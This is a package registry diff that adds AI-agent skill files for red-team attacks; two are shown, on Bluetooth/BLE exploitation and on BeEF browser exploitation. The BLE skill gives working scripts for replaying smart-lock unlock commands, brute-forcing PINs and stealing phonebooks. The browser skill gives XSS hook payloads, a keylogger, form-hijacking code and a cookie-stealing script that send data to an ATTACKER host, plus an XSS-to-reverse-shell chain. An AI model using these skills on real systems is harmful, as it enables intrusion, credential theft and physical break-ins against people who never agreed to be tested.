rtexit-method 0.1.6 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
package/package.json
CHANGED
|
@@ -0,0 +1,302 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-bluetooth-ble
|
|
3
|
+
description: "Bluetooth and BLE (Bluetooth Low Energy) attack skill for authorized engagements. BLE device scanning and enumeration, GATT service/characteristic discovery, BLE sniffing with Ubertooth, pairing bypass and MITM, smart lock exploitation, BLE replay attacks, Bluetooth Classic attacks (BlueBorne, KNOB, BIAS), Flipper Zero BLE operations, and medical/IoT device BLE testing. Use when engagement scope includes BLE-enabled devices, smart locks, medical devices, or IoT infrastructure."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-bluetooth-ble — Bluetooth & BLE Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
BLE (Bluetooth Low Energy) is everywhere — smart locks, access badges, medical devices, industrial sensors, asset trackers, and IoT controllers. Many implementations have weak or no authentication, cleartext data transmission, and replay vulnerabilities. Bluetooth Classic has several critical protocol-level vulnerabilities.
|
|
11
|
+
|
|
12
|
+
**Required hardware:** Bluetooth adapter (hci0), Ubertooth One (sniffing), Flipper Zero (all-in-one), nRF52840 dongle.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — BLE Discovery & Scanning
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Install tools
|
|
20
|
+
apt install bluetooth bluez bluez-tools -y
|
|
21
|
+
pip3 install bleak gattacker
|
|
22
|
+
|
|
23
|
+
# Basic BLE scan
|
|
24
|
+
hciconfig hci0 up
|
|
25
|
+
hcitool lescan
|
|
26
|
+
# Output:
|
|
27
|
+
# AA:BB:CC:DD:EE:FF Smart Lock Pro
|
|
28
|
+
# 11:22:33:44:55:66 (unknown)
|
|
29
|
+
|
|
30
|
+
# Advanced scan with more detail
|
|
31
|
+
bluetoothctl
|
|
32
|
+
scan on
|
|
33
|
+
devices # List discovered devices
|
|
34
|
+
info AA:BB:CC:DD:EE:FF # Detailed device info
|
|
35
|
+
scan off
|
|
36
|
+
|
|
37
|
+
# blescan — enumerate GATT services
|
|
38
|
+
python3 -m bleak.cli.scan # Quick Python BLE scan
|
|
39
|
+
|
|
40
|
+
# Active scan (get more advertising data)
|
|
41
|
+
sudo btmgmt --index 0 le-on
|
|
42
|
+
sudo btmgmt --index 0 find -l # Low energy scan with advertising data
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 2 — GATT Service Enumeration
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# GATT = Generic Attribute Profile — BLE data structure
|
|
51
|
+
# Services → Characteristics → Values
|
|
52
|
+
# Characteristics have: UUID, properties (read/write/notify), value
|
|
53
|
+
|
|
54
|
+
# gatttool — enumerate GATT
|
|
55
|
+
gatttool -b AA:BB:CC:DD:EE:FF -I
|
|
56
|
+
connect
|
|
57
|
+
primary # List all services
|
|
58
|
+
characteristics # List all characteristics
|
|
59
|
+
char-read-hnd 0x0010 # Read characteristic at handle 0x10
|
|
60
|
+
|
|
61
|
+
# Python bleak — programmatic GATT enumeration
|
|
62
|
+
python3 << 'EOF'
|
|
63
|
+
import asyncio
|
|
64
|
+
from bleak import BleakClient
|
|
65
|
+
|
|
66
|
+
TARGET_MAC = "AA:BB:CC:DD:EE:FF"
|
|
67
|
+
|
|
68
|
+
async def enumerate_gatt():
|
|
69
|
+
async with BleakClient(TARGET_MAC) as client:
|
|
70
|
+
print(f"Connected: {client.is_connected}")
|
|
71
|
+
|
|
72
|
+
for service in client.services:
|
|
73
|
+
print(f"\nService: {service.uuid} — {service.description}")
|
|
74
|
+
for char in service.characteristics:
|
|
75
|
+
print(f" Char: {char.uuid}")
|
|
76
|
+
print(f" Properties: {char.properties}")
|
|
77
|
+
|
|
78
|
+
# Try to read each characteristic
|
|
79
|
+
if "read" in char.properties:
|
|
80
|
+
try:
|
|
81
|
+
val = await client.read_gatt_char(char.uuid)
|
|
82
|
+
print(f" Value: {val.hex()} | ASCII: {val.decode('utf-8', errors='replace')}")
|
|
83
|
+
except Exception as e:
|
|
84
|
+
print(f" Read error: {e}")
|
|
85
|
+
|
|
86
|
+
asyncio.run(enumerate_gatt())
|
|
87
|
+
EOF
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
## Phase 3 — BLE Sniffing with Ubertooth
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# Ubertooth One = dedicated BLE/Bluetooth sniffer hardware
|
|
96
|
+
# Captures BLE advertising packets and connections
|
|
97
|
+
|
|
98
|
+
# Install ubertooth
|
|
99
|
+
apt install ubertooth -y
|
|
100
|
+
|
|
101
|
+
# Sniff BLE advertising
|
|
102
|
+
ubertooth-btle -f -c capture.pcap # Follow connections, save to pcap
|
|
103
|
+
wireshark capture.pcap # Analyze BLE traffic in Wireshark
|
|
104
|
+
|
|
105
|
+
# Follow a specific device connection
|
|
106
|
+
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -c target.pcap
|
|
107
|
+
|
|
108
|
+
# Crack BLE pairing (if legacy pairing / Just Works)
|
|
109
|
+
ubertooth-btle -p -c pairing.pcap # Capture pairing exchange
|
|
110
|
+
crackle -i pairing.pcap -o decrypted.pcap # Decrypt with crackle
|
|
111
|
+
# crackle: github.com/mikeryan/crackle
|
|
112
|
+
|
|
113
|
+
# Wireshark BLE display filters:
|
|
114
|
+
# btle.advertising_header → advertising packets
|
|
115
|
+
# btle.data_header → data packets
|
|
116
|
+
# btle.advertising_address → filter by MAC
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Phase 4 — BLE Authentication Bypass & Replay
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
# Many BLE devices use simple commands sent as characteristic writes
|
|
125
|
+
# Smart lock: write 0x55AA → unlock
|
|
126
|
+
# Replay attack: capture unlock command → replay it
|
|
127
|
+
|
|
128
|
+
# Capture with Wireshark/Ubertooth → find write commands
|
|
129
|
+
# Filter: btatt.opcode == 0x52 (Write Command) or btatt.opcode == 0x12 (Write Request)
|
|
130
|
+
|
|
131
|
+
# Replay captured command
|
|
132
|
+
python3 << 'EOF'
|
|
133
|
+
import asyncio
|
|
134
|
+
from bleak import BleakClient
|
|
135
|
+
|
|
136
|
+
TARGET_MAC = "AA:BB:CC:DD:EE:FF"
|
|
137
|
+
UNLOCK_CHAR_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb"
|
|
138
|
+
UNLOCK_PAYLOAD = bytes.fromhex("55AA0100") # Captured from sniff
|
|
139
|
+
|
|
140
|
+
async def replay_unlock():
|
|
141
|
+
async with BleakClient(TARGET_MAC) as client:
|
|
142
|
+
await client.write_gatt_char(UNLOCK_CHAR_UUID, UNLOCK_PAYLOAD)
|
|
143
|
+
print("Unlock command sent!")
|
|
144
|
+
|
|
145
|
+
# Read response
|
|
146
|
+
response = await client.read_gatt_char(UNLOCK_CHAR_UUID)
|
|
147
|
+
print(f"Response: {response.hex()}")
|
|
148
|
+
|
|
149
|
+
asyncio.run(replay_unlock())
|
|
150
|
+
EOF
|
|
151
|
+
|
|
152
|
+
# Brute force PIN/passcode sent over BLE
|
|
153
|
+
python3 << 'EOF'
|
|
154
|
+
import asyncio
|
|
155
|
+
from bleak import BleakClient
|
|
156
|
+
|
|
157
|
+
TARGET_MAC = "AA:BB:CC:DD:EE:FF"
|
|
158
|
+
CHAR_UUID = "CHARACTERISTIC_UUID"
|
|
159
|
+
|
|
160
|
+
async def brute_force():
|
|
161
|
+
async with BleakClient(TARGET_MAC) as client:
|
|
162
|
+
for pin in range(0, 10000):
|
|
163
|
+
payload = pin.to_bytes(2, 'big') # 2-byte PIN
|
|
164
|
+
try:
|
|
165
|
+
await client.write_gatt_char(CHAR_UUID, payload)
|
|
166
|
+
response = await client.read_gatt_char(CHAR_UUID)
|
|
167
|
+
if b'\x00\x01' in response: # Success response
|
|
168
|
+
print(f"VALID PIN: {pin:04d}")
|
|
169
|
+
break
|
|
170
|
+
except: pass
|
|
171
|
+
|
|
172
|
+
asyncio.run(brute_force())
|
|
173
|
+
EOF
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Phase 5 — BLE MITM Attack
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# GATTacker — BLE MITM framework
|
|
182
|
+
# https://github.com/securing/gattacker
|
|
183
|
+
|
|
184
|
+
npm install -g gattacker
|
|
185
|
+
|
|
186
|
+
# Step 1: Scan and clone target device profile
|
|
187
|
+
node scan.js # Discovers nearby BLE devices
|
|
188
|
+
node scan.js -s AA:BB:CC:DD:EE:FF # Clone specific device profile
|
|
189
|
+
# Creates: devices/AA_BB_CC_DD_EE_FF.adv.json, .srv.json
|
|
190
|
+
|
|
191
|
+
# Step 2: Impersonate target device (MITM)
|
|
192
|
+
# Two adapters needed: one to connect to real device, one to advertise as fake
|
|
193
|
+
node mitm.js AA_BB_CC_DD_EE_FF # Start MITM
|
|
194
|
+
# Real app → connects to fake device → GATTacker proxies to real device
|
|
195
|
+
# All traffic logged → modify values in transit
|
|
196
|
+
|
|
197
|
+
# Flipper Zero — BLE MITM (simpler)
|
|
198
|
+
# Flipper → Bluetooth → BLE Tools → Scan
|
|
199
|
+
# Select device → Clone → Advertise as device
|
|
200
|
+
# Intercept communications between real device and mobile app
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Phase 6 — Bluetooth Classic Attacks
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# BlueBorne (CVE-2017-1000251) — unauthenticated RCE via Bluetooth
|
|
209
|
+
# Affects: Linux kernel < 4.14, Android < 8.0, Windows Vista/7/8/10
|
|
210
|
+
# Range: ~10 meters, no pairing required
|
|
211
|
+
|
|
212
|
+
# Check target Bluetooth version
|
|
213
|
+
hcitool info TARGET_MAC | grep "LMP Version"
|
|
214
|
+
# LMP Version: 4.x = likely vulnerable
|
|
215
|
+
|
|
216
|
+
# BlueBorne exploit (Linux target)
|
|
217
|
+
git clone https://github.com/ojasookert/CVE-2017-1000250
|
|
218
|
+
python3 exploit.py TARGET_MAC
|
|
219
|
+
|
|
220
|
+
# KNOB Attack (CVE-2019-9506) — entropy negotiation
|
|
221
|
+
# Force encryption key to 1 byte → brute force in milliseconds
|
|
222
|
+
# Affects: all Bluetooth Classic implementations
|
|
223
|
+
# Requires: hardware (Ubertooth or modified firmware)
|
|
224
|
+
|
|
225
|
+
# BIAS Attack (CVE-2020-10135) — authentication bypass
|
|
226
|
+
# Skip authentication in Bluetooth Secure Simple Pairing
|
|
227
|
+
# Impersonate any previously-paired device
|
|
228
|
+
|
|
229
|
+
# Bluebugging — take control of phone via AT commands
|
|
230
|
+
# Older phones (pre-2004): connect → send AT commands → calls, SMS
|
|
231
|
+
# Modern: mostly patched but some IoT/automotive still vulnerable
|
|
232
|
+
|
|
233
|
+
# Bluejacking — unsolicited messages
|
|
234
|
+
hcitool scan # Find discoverable devices
|
|
235
|
+
bt-obex -p TARGET_MAC message.txt # Send file via OBEX
|
|
236
|
+
|
|
237
|
+
# Bluesnarfing — unauthorized data access
|
|
238
|
+
# Legacy attack on older devices
|
|
239
|
+
obexftp -b TARGET_MAC -g telecom/pb.vcf # Steal phonebook
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## Phase 7 — Smart Lock & IoT BLE Exploitation
|
|
245
|
+
|
|
246
|
+
```bash
|
|
247
|
+
# Smart lock common vulnerabilities:
|
|
248
|
+
# 1. No authentication (anyone can send unlock command)
|
|
249
|
+
# 2. Replay attack (fixed unlock code, not rotating)
|
|
250
|
+
# 3. Cleartext PIN transmission
|
|
251
|
+
# 4. Weak pairing (Just Works = no authentication)
|
|
252
|
+
# 5. Firmware update over BLE without signature verification
|
|
253
|
+
|
|
254
|
+
# Step-by-step smart lock assessment:
|
|
255
|
+
# 1. Scan and enumerate GATT
|
|
256
|
+
python3 enumerate_gatt.py TARGET_MAC > gatt_profile.txt
|
|
257
|
+
|
|
258
|
+
# 2. Find lock/unlock characteristics
|
|
259
|
+
grep -i "lock\|access\|command\|control" gatt_profile.txt
|
|
260
|
+
|
|
261
|
+
# 3. Capture legitimate unlock operation
|
|
262
|
+
ubertooth-btle -f -t TARGET_MAC -c unlock.pcap
|
|
263
|
+
# Trigger unlock from legitimate app while Ubertooth captures
|
|
264
|
+
|
|
265
|
+
# 4. Analyze captured traffic
|
|
266
|
+
wireshark unlock.pcap
|
|
267
|
+
# Filter: btatt.opcode == 0x52
|
|
268
|
+
# Note: handle, UUID, and payload bytes
|
|
269
|
+
|
|
270
|
+
# 5. Replay
|
|
271
|
+
python3 replay.py TARGET_MAC CHAR_UUID UNLOCK_HEX
|
|
272
|
+
|
|
273
|
+
# 6. Test PIN brute force
|
|
274
|
+
python3 brute_force.py TARGET_MAC CHAR_UUID
|
|
275
|
+
|
|
276
|
+
# Flipper Zero smart lock testing
|
|
277
|
+
# Bluetooth → BLE Tools → Scan → Select Lock → Read GATT
|
|
278
|
+
# Save profile → replay captured commands
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
---
|
|
282
|
+
|
|
283
|
+
## Skill Levels
|
|
284
|
+
|
|
285
|
+
**BEGINNER:** hcitool lescan + gatttool GATT enumeration + Flipper Zero for scanning and replay
|
|
286
|
+
|
|
287
|
+
**INTERMEDIATE:** Bleak Python scripts for programmatic GATT access + replay attacks + PIN brute force
|
|
288
|
+
|
|
289
|
+
**ADVANCED:** Ubertooth sniffing + crackle for pairing crack + GATTacker MITM
|
|
290
|
+
|
|
291
|
+
**EXPERT:** Custom BLE firmware analysis + KNOB/BIAS attacks + medical device exploitation
|
|
292
|
+
|
|
293
|
+
---
|
|
294
|
+
|
|
295
|
+
## References
|
|
296
|
+
|
|
297
|
+
- Bleak (Python BLE): https://github.com/hbldh/bleak
|
|
298
|
+
- GATTacker: https://github.com/securing/gattacker
|
|
299
|
+
- crackle: https://github.com/mikeryan/crackle
|
|
300
|
+
- Ubertooth: https://github.com/greatscottgadgets/ubertooth
|
|
301
|
+
- BlueBorne: https://www.armis.com/blueborne/
|
|
302
|
+
- MITRE T1424: https://attack.mitre.org/techniques/T1424/
|
|
@@ -0,0 +1,244 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-browser-exploitation
|
|
3
|
+
description: "Browser exploitation and BeEF framework skill for authorized engagements. BeEF (Browser Exploitation Framework) hooking via XSS, browser-based network pivoting to internal resources, keylogging and credential harvesting from browser, session token theft, browser fingerprinting for target profiling, JavaScript-based port scanning through victim browser, webcam/microphone access, and chaining XSS to full internal network access. Use when XSS is found and scope permits browser-based exploitation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-browser-exploitation — Browser Exploitation & BeEF
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
A hooked browser is a foothold inside the victim's network. The BeEF (Browser Exploitation Framework) framework turns a reflected/stored XSS into a persistent command channel — running JavaScript in the victim's browser to pivot into internal networks, steal credentials, and fingerprint the environment. A browser on an internal network can reach internal services that the attacker cannot reach directly.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — BeEF Setup
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install BeEF
|
|
18
|
+
apt install beef-xss -y
|
|
19
|
+
# Or from source:
|
|
20
|
+
git clone https://github.com/beefproject/beef && cd beef
|
|
21
|
+
./install
|
|
22
|
+
|
|
23
|
+
# Configure BeEF
|
|
24
|
+
nano config.yaml
|
|
25
|
+
# Change default credentials:
|
|
26
|
+
# user: "beef"
|
|
27
|
+
# passwd: "your_password"
|
|
28
|
+
# Set permitted_hooks: '*' for testing, or restrict to target IP
|
|
29
|
+
|
|
30
|
+
# Start BeEF
|
|
31
|
+
./beef
|
|
32
|
+
# Web UI: http://127.0.0.1:3000/ui/panel
|
|
33
|
+
# Hook URL: http://YOUR_IP:3000/hook.js
|
|
34
|
+
|
|
35
|
+
# Expose BeEF to internet (for external targets)
|
|
36
|
+
# Option A: Cloudflare Tunnel
|
|
37
|
+
cloudflared tunnel --url http://localhost:3000
|
|
38
|
+
# Option B: ngrok
|
|
39
|
+
ngrok http 3000
|
|
40
|
+
# Option C: VPS reverse proxy (see rt-redteam-infra)
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Phase 2 — Hooking Victims via XSS
|
|
46
|
+
|
|
47
|
+
```javascript
|
|
48
|
+
// Basic XSS payload — loads BeEF hook
|
|
49
|
+
<script src="http://ATTACKER_IP:3000/hook.js"></script>
|
|
50
|
+
|
|
51
|
+
// Attribute injection
|
|
52
|
+
"><script src="http://ATTACKER_IP:3000/hook.js"></script>
|
|
53
|
+
|
|
54
|
+
// DOM-based / filter bypass variants
|
|
55
|
+
<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.head.appendChild(s)">
|
|
56
|
+
|
|
57
|
+
// Stored XSS (persists — re-hooks every visitor)
|
|
58
|
+
// Best for: comment sections, profile names, product reviews
|
|
59
|
+
|
|
60
|
+
// SVG-based (bypasses some filters)
|
|
61
|
+
<svg onload="fetch('http://ATTACKER_IP:3000/hook.js').then(r=>r.text()).then(eval)">
|
|
62
|
+
|
|
63
|
+
// CSP bypass via JSONP (if allowed domain has JSONP endpoint)
|
|
64
|
+
<script src="https://allowed-cdn.com/jsonp?callback=eval&data=fetch('http://ATTACKER/hook.js').then(r=>r.text()).then(eval)"></script>
|
|
65
|
+
|
|
66
|
+
// BeEF persistent hook — survives page navigation
|
|
67
|
+
// In BeEF console: Hooked Browsers → select victim → Commands → Persistence → Man-In-The-Browser
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Phase 3 — Internal Network Recon via Browser
|
|
73
|
+
|
|
74
|
+
```javascript
|
|
75
|
+
// Victim's browser is inside the corporate network
|
|
76
|
+
// Use it to scan internal hosts — bypasses all perimeter controls
|
|
77
|
+
|
|
78
|
+
// BeEF: Commands → Network Discovery → Get Internal IP
|
|
79
|
+
// Returns: victim's internal IP address (via WebRTC)
|
|
80
|
+
|
|
81
|
+
// Port scan internal hosts through victim's browser
|
|
82
|
+
// BeEF: Commands → Network Discovery → Port Scanner
|
|
83
|
+
// Set: network range 10.10.10.0/24, ports 22,80,443,8080,3389,5985
|
|
84
|
+
|
|
85
|
+
// Manual JavaScript port scan
|
|
86
|
+
(function() {
|
|
87
|
+
var targets = [];
|
|
88
|
+
for (var i = 1; i < 255; i++) targets.push('10.10.10.' + i);
|
|
89
|
+
var ports = [22, 80, 443, 8080, 3389, 5985, 27017, 3306, 5432];
|
|
90
|
+
|
|
91
|
+
targets.forEach(function(host) {
|
|
92
|
+
ports.forEach(function(port) {
|
|
93
|
+
var img = new Image();
|
|
94
|
+
var start = Date.now();
|
|
95
|
+
img.onload = img.onerror = function() {
|
|
96
|
+
var t = Date.now() - start;
|
|
97
|
+
if (t < 100) { // Fast response = open port
|
|
98
|
+
fetch('http://ATTACKER/collect?open=' + host + ':' + port);
|
|
99
|
+
}
|
|
100
|
+
};
|
|
101
|
+
img.src = 'http://' + host + ':' + port + '/favicon.ico?' + Math.random();
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
})();
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Phase 4 — Internal Service Access via Browser
|
|
110
|
+
|
|
111
|
+
```javascript
|
|
112
|
+
// Access internal web services through victim browser
|
|
113
|
+
// Admin panels, dev tools, monitoring dashboards
|
|
114
|
+
|
|
115
|
+
// BeEF: Commands → Network Discovery → Get HTTP Servers
|
|
116
|
+
// Then: Commands → Browser → Redirect Browser → http://internal-jenkins:8080
|
|
117
|
+
|
|
118
|
+
// Fetch internal resources and exfil
|
|
119
|
+
fetch('http://192.168.1.1/admin/')
|
|
120
|
+
.then(r => r.text())
|
|
121
|
+
.then(html => fetch('http://ATTACKER/exfil?data=' + btoa(html)));
|
|
122
|
+
|
|
123
|
+
// Access internal API
|
|
124
|
+
fetch('http://10.10.10.5:8080/api/users', {
|
|
125
|
+
headers: {'Cookie': document.cookie} // Victim's internal auth cookies
|
|
126
|
+
})
|
|
127
|
+
.then(r => r.json())
|
|
128
|
+
.then(data => fetch('http://ATTACKER/collect', {
|
|
129
|
+
method: 'POST',
|
|
130
|
+
body: JSON.stringify(data)
|
|
131
|
+
}));
|
|
132
|
+
|
|
133
|
+
// Pivot to internal services requiring victim's browser auth
|
|
134
|
+
// (Browser automatically sends cookies for internal domains)
|
|
135
|
+
fetch('http://internal-sharepoint/sites/IT/_api/search/query?querytext=password')
|
|
136
|
+
.then(r => r.json())
|
|
137
|
+
.then(d => exfil(d));
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Phase 5 — Credential Harvesting
|
|
143
|
+
|
|
144
|
+
```javascript
|
|
145
|
+
// Keylogger
|
|
146
|
+
document.addEventListener('keydown', function(e) {
|
|
147
|
+
fetch('http://ATTACKER/keys?k=' + encodeURIComponent(e.key) +
|
|
148
|
+
'&url=' + encodeURIComponent(window.location.href));
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
// Form hijacking — capture all form submissions
|
|
152
|
+
document.querySelectorAll('form').forEach(function(form) {
|
|
153
|
+
form.addEventListener('submit', function(e) {
|
|
154
|
+
var data = new FormData(form);
|
|
155
|
+
var params = [];
|
|
156
|
+
data.forEach(function(val, key) { params.push(key + '=' + val); });
|
|
157
|
+
fetch('http://ATTACKER/forms?data=' + encodeURIComponent(params.join('&')) +
|
|
158
|
+
'&url=' + encodeURIComponent(window.location.href));
|
|
159
|
+
});
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
// BeEF modules for credential theft:
|
|
163
|
+
// Commands → Browser → Hooked Domain → Get Cookie (all cookies)
|
|
164
|
+
// Commands → Browser → Hooked Domain → Get Page HTML
|
|
165
|
+
// Commands → User Interface → Fake Notification Bar (phish credentials)
|
|
166
|
+
// Commands → User Interface → Pretty Theft (overlay login form)
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## Phase 6 — BeEF Advanced Modules
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# From BeEF web UI → select hooked browser → Commands tab
|
|
175
|
+
|
|
176
|
+
# Fingerprinting
|
|
177
|
+
# Browser → Detect Browser (version, plugins, extensions)
|
|
178
|
+
# Browser → Get Browser Version
|
|
179
|
+
# Network Discovery → Get Internal IP (WebRTC leak)
|
|
180
|
+
# Browser → Detect Flash Version
|
|
181
|
+
|
|
182
|
+
# Social Engineering
|
|
183
|
+
# User Interface → Fake Login Form (overlays fake login)
|
|
184
|
+
# User Interface → Fake Notification Bar (Chrome/Firefox extension install prompt)
|
|
185
|
+
# User Interface → Alert Dialog (social engineering prompt)
|
|
186
|
+
|
|
187
|
+
# Tunneling
|
|
188
|
+
# Network Discovery → Ping Sweep (ICMP through browser)
|
|
189
|
+
# Proxy → Create Proxy (HTTP proxy through victim browser)
|
|
190
|
+
|
|
191
|
+
# Persistence
|
|
192
|
+
# Misc → Create Shortcut (desktop shortcut that loads hook on click)
|
|
193
|
+
# Persistence → Man-In-The-Browser (hooks all page navigations)
|
|
194
|
+
# Persistence → Create Pop-Under (hidden window keeps hook alive)
|
|
195
|
+
|
|
196
|
+
# Webcam / Microphone (requires HTTPS + user interaction on modern browsers)
|
|
197
|
+
# Misc → Webcam
|
|
198
|
+
# Requires: HTTPS + victim granted permission
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Phase 7 — XSS to Full Internal Compromise Chain
|
|
204
|
+
|
|
205
|
+
```
|
|
206
|
+
FULL ATTACK CHAIN:
|
|
207
|
+
|
|
208
|
+
1. Find stored XSS on internet-facing app (e.g., user profile, comment)
|
|
209
|
+
2. Inject BeEF hook: <script src="https://ATTACKER/hook.js"></script>
|
|
210
|
+
3. Wait for admin/internal user to trigger XSS
|
|
211
|
+
4. BeEF hooks admin browser
|
|
212
|
+
5. Internal network scan → find internal Jenkins at 10.10.10.15:8080
|
|
213
|
+
6. Redirect admin browser to Jenkins admin panel
|
|
214
|
+
7. Use admin's browser cookies → access Jenkins as admin
|
|
215
|
+
8. Create Jenkins pipeline → execute OS commands
|
|
216
|
+
9. Reverse shell to attacker C2
|
|
217
|
+
10. Now inside internal network
|
|
218
|
+
|
|
219
|
+
OR:
|
|
220
|
+
4. Steal admin session cookie via BeEF
|
|
221
|
+
5. Use cookie in Burp → access admin panel directly
|
|
222
|
+
6. Escalate from admin panel → RCE
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## Skill Levels
|
|
228
|
+
|
|
229
|
+
**BEGINNER:** BeEF setup + basic XSS hook + steal cookies + redirect browser
|
|
230
|
+
|
|
231
|
+
**INTERMEDIATE:** Internal network scan via victim browser + internal service access + credential keylogging
|
|
232
|
+
|
|
233
|
+
**ADVANCED:** CSP bypass for hook injection + Man-in-the-Browser persistence + internal pivot via browser
|
|
234
|
+
|
|
235
|
+
**EXPERT:** Full XSS → internal network → RCE chain + custom BeEF modules + browser-based C2
|
|
236
|
+
|
|
237
|
+
---
|
|
238
|
+
|
|
239
|
+
## References
|
|
240
|
+
|
|
241
|
+
- BeEF: https://github.com/beefproject/beef
|
|
242
|
+
- BeEF Wiki: https://github.com/beefproject/beef/wiki
|
|
243
|
+
- XSS to RCE via BeEF: https://www.hackingarticles.in/comprehensive-guide-to-beef-xss-framework/
|
|
244
|
+
- MITRE T1185: https://attack.mitre.org/techniques/T1185/
|